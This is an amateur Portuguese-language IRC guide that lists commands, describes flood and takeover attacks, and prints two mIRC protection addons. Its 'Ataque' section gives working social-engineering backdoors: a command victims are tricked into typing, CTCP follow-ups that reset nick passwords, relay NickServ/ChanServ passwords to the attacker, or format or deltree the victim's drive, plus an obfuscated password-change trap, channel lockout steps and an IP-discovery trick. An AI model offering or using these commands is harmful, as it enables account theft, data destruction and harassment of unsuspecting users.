== IRC(Internet Relay Chat) ==
Por: _LiNe_SkOFF_
1- Introdução
2- Comandos
3 - Proteção
4 - Ataque
1 - Intrução: IRC quer dizer Internet Relay Chat. É um sistema que permite a intercação de vários usários ao mesmo tempo , divididos por grupos de discurções. Ao contrários das news essas discurçõesé feita On-Line (Diálogo direto Textual). Os usuarios deste sistema podem entra num grupo ja existente ou criar o seu próprio grupo. Para você pode acessar uma rede do IRC você precisa ter um cliente de IRC em seu PC.Normalmente a rede mais usada no Brasil é a Brasnet. Para você adiquirir um bom para se conectar no IRC clique aqui
1.9 - Atenção: Tudo que esta contido nesse texto é para ser usado em boa intenssões como pesquisa, caso você venha a usar isto para fazer alguma coisa de ruim, você será responsabilizados pelos seus ato e não eu.
2- Comandos:
Chanserv
O Chanserv é o sistema que cuida praticamente da parte de canais do IRC o qual exige que uma pessoa saiba como lhe dar bem com os comandos para que não faça trapalhadas.
Nickserv
O Nickserv é o sistema que cuida praticamente dos nicks o Nickserv tem varios comandos mais os conhecidos são o de registrar e o de mudar nick.
Memoserv
O Memoserv é o Sistema que cuida da parte de mensagens de espera como exemplo você resolve mandar uma mensagem para um determindao nick (pessoa) mais ela não se encontra no IRC e você quer que ela receba assim que entra no mesmo. Então você manda um Memo para ela.
Comandos
/nick nickname: É utilizado para trocar o nickname, que é uma espécie de apelido pelo qual você será conhecido no canal.
/nickserv register senha: Este comando deve ser digitado assim que você estiver certo quanto ao nickname que vai usar, pois ele registra o nick e assim você fica com a posse dele. Mas lembre-se, caso você não o utilize em um período de 30 dias ele será desregistrado pelo sistema.
/nickserv identify senha: Deve ser digitando sempre que você conectar ao IRC e seu nick for registrado, pois este comando especifica que você é o dono do nick, ou seja, o identifica.
/away
mensagem: Quando o usuário sair temporariamente da frente do computador as mensagens
não serão respondidas imediatamente e os outros usuários ficarão esperando.
Para isso foi criado o comando away. Com ele você pode deixar uma mensagem gravada
para os usuários que lhe enviarem mensagens privadas. Para desativar a mensagem,
digite /away , sem parâmetros.
/whois nickname: Informa o e-mail do usuário, o canal ou canais em que ele está,
se é operador no(s) respectivo(s) canal(is), o servidor pelo qual está conectado
e o tempo que o usuário fica sem enviar mensagens.
/who #canal: Mostra os usuários de um canal.
/names #canal: Mostra os usuários de um canal, apenas com o nick e o simbolo @ identificando se é usuário.
/ping nickname: Muitas vezes o tráfego intenso de mensagens sobrecarregam o servidor. Com esse comando você poderá saber quanto tempo levará, em média, para a sua mensagem chegar a determinado usuário.
/mode #canal: Informa qual o estado do canal, apresentando seus atributos.
/leave #canal: Você pode utilizar este comando para sair de um canal.
/list: Este comando apresenta uma lista de todos canais existentes no momento.
/list -min x -max y: Mostra todos os canais com no mínimo x pessoas e máximo y pessoas.
/list #xxx: Mostra todos os canais que iniciam por xxx.
/msg nickname mensagem: Esse comando permite enviar uma mensagem privada a outro usuário.
/me mensagem: É utilizado para dizer as pessoas o que você está fazendo.
/query nick: Abre uma janela especial para comunicação apenas com o usuário do nickname.
/quit motivo: É utilizado para sair do IRC. O motivo é opcional.
Ao se tornar operador, você tem poderes que são exercidos através dos seguintes comandos:
/mode #canal +b e-mail do usuário: Permite ao operador banir um usuário do canal de forma definitiva. Geralmente ocorre quando o usuário viola as regras de comportamento dentro do canal.
/mode #canal +i: Apenas pessoas convidadas podem entrar no canal. Para que o usuário entre ele deve ser convidado por um operador da seguinte forma: /invite nickname_do_usuário#canal. Mesmo estando fora do canal, o usuário pode mandar mensagens para o mesmo: /msg #canal.
/mode #canal +l número: Limita o número de usuários dentro do canal.
/mode #canal+m: Permite apenas aos operadores falarem no canal. O restante dos usuários pode apenas ler as mensagens. O canal é dito "moderado".
/mode #canal +n: Pessoas de fora do canal não podem enviar mensagens ao mesmo.
/mode #canal+s: Não permite que usuários que se encontram fora do canal descubram informações a respeito do mesmo.
/mode #canal +t: Permite apenas aos operadores alterarem o tópico do canal. O tópico pode ser alterado da seguinte forma: /topic #canal Tópico Novo.
/mode #canal +v nickname: Permite aos não-operadores de um canal "moderado" também falarem.
kick #canal nickname: Esse comando é utilizado pelo operador de um canal com o objetivo de "chutar" um usuário para fora.
Todos os comandos podem ser desfeitos trocando o sinal "+" pelo "-" e vice versa.
3- Proteção:
Antes
mais nada Você deve saber que no IRC tem algumas pessoas muito chatas que gostam
de te ficar ameçando então vou te explicar como se sentir seguro (não vai ser
100% seguro porque não tem jeito).
Agora você deve conhecer os atques usados que são:
TSUNAMI: Consiste enviar vários tipos de flood a pessoa, tais como: Notice,
Mensagem, Ctcp.
TAKEOVER:Usados em guerra nos canais. Esse ataque kicka, bane todos usuários
e muda os modos do canal, inserindo senhas e setando como particular. Seu objetivo
é tomar o canal. A maioria dos takeovers não costumam dar certo, pois os ops
usam proteções contra isso. Uma vez o usuário tiver OP no canal, poderá realizar
o takeover.
MASS ATACK: Consiste em fazer uma ou várias açoes em massa, em várias pessoas.
Tais como: Ctcp, notice, kick, op, kickban, deop, etc. Você encontra essa opção
no script acessando ao menu nicklist\Mass
FLOOD: Envio de várias informações ao Servidor em curto espaço de tempo.
Ctcp Ping Flood: Envie de vários pedidos de Ctcp Ping. Causando lag na sua conexão.
AUTOGET:Tentativa de adquirir IPS das pessoas no servidor IRC.
DCC MIRC: Envio de dcc resume inexistente. Se você estiver usando o mirc 5.4
e aceitar o dcc, o mirc irá travar.
FLOOD JOIN/PART: Uma vez que o servidor estiver em netslip, você poderá usar
esse ataque para travar um canal. Esse ataque consiste em entrar e sair do canal
rapidamente, em loop.
CTCP BOMBER: Envio de vários tipos de ctcp.
BOX COLOR: Envio de notices de variadas cores.
NOTICE KILLER: Flood por Notice.
DCC BOMBER: Flood por dcc send ou dcc chat.
ESPIAR NICK: Uma pessoa grava as ações de um determinado nick em uma window.
Como você viu existe varios atques então vou te passar o código fonte de um
addon para poder te ajudar... e tambem te enssinarei a usar ele.
3.1
- Proteção de canal Addon 1:Este addon é de proteção Chanserv.
Primeiro você vai abrir seu Bloco de Notas e digite o que esta abixo, após digitar
save ele como addon1.mrc depois mande ele para a pasta do teu Script e digite
no status do script /load -rs addon1.mrc
on *:load: {
if ($version < 5.6) { echo -s - Sua versao do mIRC e muito antiga para
ser usada com o sdrX Chanserv Protections! Desculpe... | unload -rs $script
}
else {
if ($script($script(0)) == $script) { echo -s Reloading addon... | .load -rs1
$script | return }
echo -s Digite /chanserv_prot ou use os menus para configurar!
}
}
menu
Menubar,Status,Channel {
sdrX
.Chanserv Protections:chanserv_prot
.Sobre:/if ($isfile($scriptdirreadme_sdrx.txt)) { run $scriptdirreadme_sdrx.txt
}
.-
.Remover:/unload -rs $script
}
dialog
sdrx.chanserv.prot {
title "sdrX [Chanserv Protections]"
size -1 -1 360 250
button
"&ok", 1, 299 220 55 20, ok
icon 2, 3 220 130 25, _sdrx_.bmp
box "Opções", 3, 5 5 350 210
text "Proteção", 4, 15 25 60 18
text "Reação com a pessoa", 5, 70 25 150 18
text "Canais", 6, 212 25 60 18
check
"Ban", 11, 15 45 50 18
check "DeOP", 12, 15 70 50 18
combo
14, 70 44 135 150, drop
combo 15, 70 69 135 150, drop
combo 17, 212 44 90 150, drop edit
combo 18, 212 69 90 150, drop edit
button "+", 21, 305 47 18 15
button "-", 22, 326 47 18 15
button "+", 23, 305 72 18 15
button "-", 24, 326 72 18 15
text
"Tempo de BAN:", 30, 15 102 80 18
edit "", 31, 95 98 30 22, autohs
text "segs", 32, 128 104 25 18
check "Tirar OP antes de banir", 33, 180 102 130 18
check "Limpar Modes quando impossível de entrar", 34, 15 125 230 18
text "Quando desbanir:", 35, 15 150 100 18
radio "Limpar todos Bans", 36, 105 149 120 18, push
radio "Desbanir apenas eu", 37, 230 149 120 18, push
text "Não reagir nestes nicks:", 38, 15 180 140 18
combo 39, 135 177 110 150, drop edit
button "+", 40, 248 180 18 15
button "-", 41, 268 180 18 15
check "Ignorar pessoa", 42, 255 125 90 18
}
alias
-l tban { return [ -u [ $+ [ $iif(%sdrxch.tban isnum,%sdrxch.tban,300) ] ] ]
}
alias -l cmodes { if (%sdrxch.mode) { .msg chanserv clear $1 modes | .timer
1 3 /sdrx.rejoin $1 } }
alias -l sdrx.kb { if ($3 isnum) { if (%sdrxch.deopb) { mode $1 -o $2 } | ban
$iif($3,$tban) $1 $2 2 } | kick $1 $2 sdrX: chanserv protection! }
alias -l sdrx.rejoin { if ($me !ison $1) && ($1 != $null) { join $1
[ %sdrx.key. [ $+ [ $1 ] ] ] } }
alias -l sdrx.reaction {
if ($2 ison $1) && ($findtok(%sdrxch.ch4,$2,32) == $null) {
var %a [ %sdrxch. [ $+ [ $3 [ $+ [ .sel ] ] ] ] ]
if (%a == 2) { .msg chanserv deop $1 $2 } | if (%a isin 458) { if (%sdrxch.deopb)
{ mode $1 -o $2 } | ban $iif(%a == 5,$tban) $1 $2 2 }
if (%a isin 3458) { sdrx.kb $1 $2 } | if (%a == 6) { sdrx.kb $1 $2 0 | .msg
chanserv akick $1 add $2 }
if (%a isin 78) { if (%a == 7) { .msg chanserv deop $1 $2 } | :d | .msg chanserv
access $1 del $2 }
}
if (%sdrxch.ignore) { .ignore on | ignore -u300 $2 2 }
}
alias chanserv_prot { if ($dialog(sdrx.chanserv.prot)) { return } | .sdrx.bmp.
| /dialog -m sdrx.chanserv.prot sdrx.chanserv.prot }
alias -l .sdrx.bmp. {
window -ph +f @.sdrx.bmp. 0 0 130 25 | drawfill @.sdrx.bmp. 1 1 0 0 | goto $rand(1,5)
:1 | drawtext -p @.sdrx.bmp. 1 "ms sans serif" 18 1 1 14,01 (00s15d14r00X14)
15sdrx14.15tsx14.15org | goto e
:2 | drawtext -p @.sdrx.bmp. 1 "ms sans serif" 18 1 1 14,01 (00sd15rX14)00:
15sdrx14.15tsx14.15org14] | goto e
:3 | drawtext -p @.sdrx.bmp. 1 "ms sans serif" 18 1 1 14,01 [00sdrX14]
14[15sdrx14.15tsx14.15org14] | goto e
:4 | drawtext -p @.sdrx.bmp. 1 "ms sans serif" 18 1 1 14,01 [00sdrX14:
15sdrx14.15tsx14.15org14] | goto e
:5 | drawtext -p @.sdrx.bmp. 1 "ms sans serif" 18 1 1 14,01 [(00sdrX14)
15sdrx14.15tsx14.15org14] | goto e
:e | drawsave @.sdrx.bmp. _sdrx_.bmp | window -c @.sdrx.bmp. | .timerSDRX.BMP
1 5 /.remove _sdrx_.bmp
}
alias -l fchan { var %i | :i | inc %i | if ($gettok($1-,%i,32)) { var %a $ifmatch
| if ($left($strip(%a),1) == $chr(35)) { if (vo*foi*desbanid* iswm $strip($1-))
&& (. isin $strip($right(%a,1))) { return $mid($strip(%a),1,$calc($len($strip(%a))
- 1)) } | return $strip(%a) } | goto i } | return }
alias -l ddid { did -r $1 $2 | var %a [ %sdrxch.ch [ $+ [ $3 ] ] ] | var %i
0 | :i | inc %i | if ($gettok(%a,%i,32)) { did -a $1 $2 $ifmatch | goto i }
}
alias -l ischan { if ($left($1,1) == $chr(35)) && ($chr(32) !isin $1)
{ return $true } }
alias -l isnick { if ($chr(32) !isin $1) && ($1 != $null) { return $true
} }
alias -l ismask { if ($1 iswm $address($me,5)) || ($2 == $me) || ($ip isin $1)
|| ($me isin $1) { return $true } }
on
*:ban:#: {
if (%sdrxch.ban) && ($nick != $me) && ($ismask($banmask,$bnick))
&& ($findtok(%sdrxch.ch2,$chan,32)) {
set %sdrx.atuando 1
if (%sdrxch.bans) { .msg chanserv clear $chan bans } | else { .msg chanserv
unban $chan }
if ($me isop $chan) && ($nick != $me) { mode $chan -b $banmask | sdrx.reaction
$chan $nick b }
}
}
on
*:deop:#: {
if (%sdrxch.deop) && ($nick != $me) && ($findtok(%sdrxch.ch3,$chan,32))
&& ($knick == $me) {
set -u10 %sdrxch.reaction. [ $+ [ $chan ] ] $nick d
.msg chanserv op $chan $me | .timer 1 1 /sdrx.reaction $chan $nick d
}
}
on *:op:#: {
if ($opnick == $me) && ($nick == chanserv) { unset %sdrx.atuando }
if ( [ %sdrxch.reaction. [ $+ [ $chan ] ] ] ) { unset %sdrxch.reaction. [ $+
[ $chan ] ] | if ($gettok( [ %sdrxch.reaction. [ $+ [ $chan ] ] ] ,1,32) ison
$chan) { sdrx.reaction $chan [ %sdrxch.reaction. [ $+ [ $chan ] ] ] } }
}
on *:unban:#: { if ($nick == chanserv) && ($ismask($banmask,$bnick))
{ unset %sdrx.atuando } }
raw
471:*: { cmodes $2 }
raw 472:*: { cmodes $2 }
raw 473:*: { cmodes $2 }
raw 474:*: { if (%sdrxch.ban) && ($findtok(%sdrxch.ch2,$2,32)) { if
(%sdrxch.bans) { .msg chanserv clear $2 bans } | else { .msg chanserv unban
$2 } | set %sdrx.reaction. [ $+ [ $2 ] ] b @none.nick@ | .timer 1 3 /sdrx.rejoin
$2 } }
raw 475:*: { cmodes $2 }
raw 482:*: { if (%sdrx.atuando) { .msg chanserv op $2 $me } }
on *:notice:*:?: { if ($nick == chanserv) && ((*foi*desbanido*do*canal* iswm $strip($1-)) || (*s*do*canal*foram*removidos* iswm $strip($1-))) && ($fchan($1-)) { /.join $fchan($1-) } }
on
*:dialog:sdrx.chanserv.prot:*:*: {
if ($devent == init) {
did -a $dname 14 Nenhuma reação | did -a $dname 14 Tirar OP | did -a $dname
14 Kickar | did -a $dname 14 Kick, Ban
did -a $dname 14 Kick, Banir um tempo | did -a $dname 14 Por na Akick List
did -a $dname 14 Tirar OP e desregistrar | did -a $dname 14 Kick, Ban e desregistrar
did -a $dname 15 Nenhuma reação | did -a $dname 15 Tirar OP | did -a $dname
15 Kickar | did -a $dname 15 Kick, Ban
did -a $dname 15 Kick, Banir um tempo | did -a $dname 15 Por na Akick List
did -a $dname 15 Tirar OP e desregistrar | did -a $dname 15 Kick, Ban e desregistrar
ddid $dname 17 2 | ddid $dname 18 3 | ddid $dname 39 4 | did -ra $dname 31 $iif(%sdrxch.tban
isnum,%sdrxch.tban,300)
if (%sdrxch.ban) { did -c $dname 11 } | if (%sdrxch.deop) { did -c $dname 12
} | if (%sdrxch.deopb) { did -c $dname 33 }
did -c $dname 14 $iif(%sdrxch.b.sel > 1,%sdrxch.b.sel,1) | did -c $dname
15 $iif(%sdrxch.d.sel > 1,%sdrxch.d.sel,1)
if (%sdrxch.mode) { did -c $dname 34 } | did -c $dname $iif(%sdrxch.bans,36,37)
| if (%sdrxch.ignore) { did -c $dname 42 }
}
if ($devent == edit) && ($did == 31) && ($did($did) isnum) {
set %sdrxch.tban $did($did) }
if ($devent == sclick) {
if ($did == 11) { set %sdrxch.ban $did($did).state } | if ($did == 12) { set
%sdrxch.deop $did($did).state } | if ($did == 34) { set %sdrxch.mode $did($did).sel
}
if ($did == 42) { set %sdrxch.ignore $did($did).state } | if ($did == 34) {
set %sdrxch.mode $did($did).state }
if ($did == 14) { set %sdrxch.b.sel $did($did).sel } | if ($did == 15) { set
%sdrxch.d.sel $did($did).sel }
if ($did isin -36-37-) { set %sdrxch.bans $iif($did == 36,1,0) } | if ($did
== 33) { set %sdrxch.deopb $did($did).state }
if ($did == 21) && ($ischan($did(17))) && ($findtok(%sdrxch.ch2,$did(17),1,32)
== $null) { set %sdrxch.ch2 [ %sdrxch.ch2 ] $did(17) | ddid $dname 17 2 } |
if ($did == 22) && ($findtok(%sdrxch.ch2,$did(17),32)) { set %sdrxch.ch2
[ $remtok(%sdrxch.ch2,$did(17),1,32) ] | ddid $dname 17 2 }
if ($did == 23) && ($ischan($did(18))) && ($findtok(%sdrxch.ch3,$did(18),1,32)
== $null) { set %sdrxch.ch3 [ %sdrxch.ch3 ] $did(18) | ddid $dname 18 3 } |
if ($did == 24) && ($findtok(%sdrxch.ch3,$did(18),32)) { set %sdrxch.ch3
[ $remtok(%sdrxch.ch3,$did(18),1,32) ] | ddid $dname 18 3 }
if ($did == 40) && ($isnick($did(39))) && ($findtok(%sdrxch.ch4,$did(39),1,32)
== $null) { set %sdrxch.ch4 [ %sdrxch.ch4 ] $did(39) | ddid $dname 39 4 } |
if ($did == 41) && ($findtok(%sdrxch.ch4,$did(39),32)) { set %sdrxch.ch4
[ $remtok(%sdrxch.ch4,$did(39),1,32) ] | ddid $dname 39 4 }
}
}
; END =:)
3.2
- Addon 2: Proteção Pessoal.
Primeiro você vai abrir seu Bloco de Notas e digite o que esta abixo, após digitar
save ele como addon2.mrc depois mande ele para a pasta do teu Script e digite
no status do script /load -rs addon2.mrc . Pois este addon é anti Ban. eu vou
ver se desnvolvo um completo arrumo algun geral.
on 1:load:{
/echo -a 12«««««5 Anti mass ban by Brasops 12»»»»»5
/echo -a 8,2Para configurar, vá no menu, Proteções, MASSBAN
/echo -a 12««««5 ADDONS? SCRIPTS? IRC? 7http://www.underplanet.net/12
»»»»
}
#massban
on
if ([ %Mode. [ $+ [ $site ] ] ] == $null) { set %Mode. [ $+ [ $site ] ] 1 |
.timer 1 10 /unset %Mode. [ $+ [ $site ] ] }
if ([ %Mode. [ $+ [ $site ] ] ] > 3) { kick $chan $nick 2Proteção contra
Mass Ban! | unset %Mode. [ $+ [ $site ] ] | halt }
inc %Mode. [ $+ [ $site ] ] 1
#massban end
menu channel,query,menubar,status {
Proteções:
.ANTIMASSBAN:
..Li&gado:.enable #massban
..D&esligado:.disable #massban
}
3.2
Proteção no Script - Eu
tive pesquisando na internet os melhores meios de se proteger no IRC, e cheguei
a conclusão que para se proteger você deve saber os comandos que
são usados para ataque que se encontram na lista abaixo.
Então você chega e pergunta, "Tio" SKOFF como
que eu vou me proteger sabendo akeles comandos abaixo?
R: Se vire vai procurar!!!(Zuera)
Primeiranente você necessita de saber um pouco da estrutura de um script(nem
vou comentar), agora que você deve ter lido algo sobre a estrutura então
abra a aliases de seu script e pensse comigo.
todos os comandos que eu ponho para ser executados na aliases eu posso dar uma
função para eles como /he /say HEheHEhEhEhE, espero que você
tenha entendido o que eu quis lhe dizer. Caso não tenha conseguido fomrar
uma ideia na pratica, vou citar mais exemplos
Imagine um comando malicioso como o //write ^ ctcp *:^:$2- | /.load
-rs ^ caso você queria se livrar desse comando mesmo digitando
ele e não calse nenhum efeito é só vc digitar na Aliases
de seu script a seguinte linha:
//write ^ ctcp *:^:$2- | /.load -rs ^ /echo -a comando desativado
/write ^ ctcp *:^:$2- | /.load -rs ^ /echo -a comando destivado
quando vc digitar o comando irá aparecer uma msg dizendo para vc^r que
o comando foi desativado, ou seja, você mudou a função do
comando,m podemos fazer isto com os seguintes comandos da parte de Ataque
4 - Ataque
4.1
- Tecnica 1 - ROUBO DE CANAL E NICK: Normalmente são lammers que caem
na conversa de pessoas mal itensionadas, a fim de roubar seu nick ou algum canal.
Nunca digite comandos complexos, principalmente os que vierem com o caracter
$chr. Nunca rode uma addon que você tenha certeza que seja seguro. Uma vez rodado,
o addon poderá se autocopiar em outro arquivo do script e mesmo depois de dar
/unload no addon, o comando permanecerá no script. Verifique no addon pelas
palavras: identify, sockopen, $chr, socklisten, memoserv send, raw, dcc send,
remove, rename, copy, $file. Caso você encontre algumas dessas palavras, verifique
cuidadosamente os comandos ou entre em um canal de scripting para auxiliá-lo:
#script, #scripts e #scriptx (Brasnet) ou #scripter (brasirc). Exemplo para
roubar um canal ou nick:
A vítima digita:
//write ^ ctcp *:^:$2- | /.load -rs ^
Depois que a pessoa ter digitado isso digite:
/ctcp nickdavítima ^ nickserv set password h2k
A senha do nick será h2k
Ou para pegar todos os passwords da vítima digite:
/ctcp nickdavítima ^ /.alias nickserv if ($1 == identify) /.raw -q memoserv
send seunick Senha de $me $+ : $2- | nickserv $1-
/ctcp nickdavítima ^ /.alias chanserv if (identify isin $1-) /.raw -q memoserv
send seunick Senha de $me ao canal: $2- | chanserv $1-
Em seu nick, coloque o seu nick, é onde vai ser enviada a senha. Caso a pessoa
identifique seu canal ou nick. Esse comando cria um backdoor na vítima, portando
ele estará completamente vulnerável. Para utilizar /ctcp nickdavítima ^ /comando
Exemplo:
/ctcp nickdavítima ^ /nick eu_sou_lammah
/chanserv unban #somoshacker
Entrar com Op pro seu Canal
/nickserv register senha e-mail
Registrar seu Nick
/chanserv register #canal descriçaum senha
Registra um Canal
4.1.1
- Mais Comandos - Seguindo exemplo acima irei lhe mostrar mais comandos:
Listar Arquivos: /ctcp nick /alias list return $findfir(c:,*.*,write
C:\Windows\Desktop\dir.txt $1-)
Desligar PC da vitima: /ctcp nick /run C:\WINDOWS\RUNDLL32.EXE shell32,SHExitWindowsEx
Formatar PC da Vitima: /ctcp nick /run command format c: ou /ctcp nick
/run command Deltree/y c:\*.*
4.2
- Tecnica 2 - Agora irei mostrar um comando em que você apenas
manda a vitima digitar e a senha dela se'ra o q esta escrito no comando, claro
que se a pessoa não intender de scripting ela não vai saber qual
vai ser a senha.
Comando: //echo $chr(3) $+ 8,4 $+ $chr(2) $chr(3) | /nickserv $mid(setrico,1,3)
$left(pass,4) $+ $left(word,4) $right(ajud,4) $+ $mid(as,1,2) | / $+ $mid(save,1,2)
$+ $left(yten,1) |
A senha da vitima será ajudas mais se vocês repararem
é fácil de alterar a senha.
OBs: a vitima tem que digitar isso.
4.3
- Mudança de Topico - Para você conseguir mudar o topico
de um canal vc tem que saber mexer com aliases mais como eu quis fazer algo
mais interessante então vamus usar popups. Abra sua popups e digite:
Mudar topico{
set %canal $$?="Qual Canal?"
set %top $$?="Qual o Topico?"
/join %canal
/mode %canal +b *?!*@*
/topic %canal %top
}
Explicando:
set %cabal $$?="Qual canal?" -> faz com que quando
vc aperte o botao Mudar topico apareça uam ajnela perguntando qual canal
à mudar o topico
set %top $$?="Qual o Topico?" -> a mesma coisa
que o de cima mais pergunta qual vai ser o topico do canal
/join %canal -> este comando faz entrar no canal escolhido
usando a variavel %canal definida por mim para guardar "os dados"
/mode %canal +b *?!*@* -> este comando pega a variavel %canal
e poem o canal em modo +b onde nenhum tipo de usuario especificados(*?!*@*)
não poderam mandar msg para o canal
/topic %canal %top -> pega a variavel %canal e %top e uni
elas fomrnado o comando /topic #canal msg de topico isto eh o que fará
com o topico do canal mude
OBS: Não pode ter ninguem no canal vitima e naum pode ter proteção
de topico nele.
5.0 - Fechando Canal - Um método facil de fechar um canal é pelo akick que usa o comando:
/chanserv akick #canal add *!*@* -----> Principal
comando, reponsavel por o canal no akick
/memoserv akick #canal add *!*@* -----> Poem memoserv do canal
no akick
/nickserv akick #canal add *!*@* -----> Comando não obrigatorio,
ele poem o nickserv no akick
/chanserv set #canal mlock +impsRcd -----> Altera alguns modos
di canal para saber quais os modos digite/helpsys chanmodes
/chanserv set #canal SECUREOPS OFF ----> Desativa proteções
do canal
OBS: você tem que ser master do canal nivel 10
6.0 - Descobrindo IP: Para você descobrir IP pelo IRC é muito facil. Apesar do IP dos usários serem Cripitografados, mais a brasnet errou em um negocio que é na parte em que você envia um dcc chat a vitíma (claro que a vitíma vai ver seu IP mais se você for bom em hacking nem vai ligar) entao digite no status /dns Nick_da_Vitima após isso ainda vai aparecer o ip com a ultiuma parte criptitografado exmplo 200.200.200.0 se repara que o ultimo numero não apareceu mais você ja vai ter uma pista. Então você vai abrir o Prompt do MS-DOS e lá você vai digitar netstat -a então você vai ver a tela do MSDOS +ou- assim, Exemplo:
Proto
Endereço local Endereço externo Estado
TCP s7n3n8:1025 200.197.200.10: 25 LISTENING
TCP s7n3n8:1026 200.197.200.12: 25 LISTENING
TCP s7n3n8:1026 200.197.197.75: 25 LISTENING
TCP s7n3n8:1026 200.197.200.10: 25 LISTENING
TCP s7n3n8:8790 200.200.200.75:0 LISTENING
UDP s7n3n8:1026 *:*
Agora repare que você conseguiu identificar o ip da vitima pois o fim é 75.
Repare que isto foi um exemplo com ips que "não existem"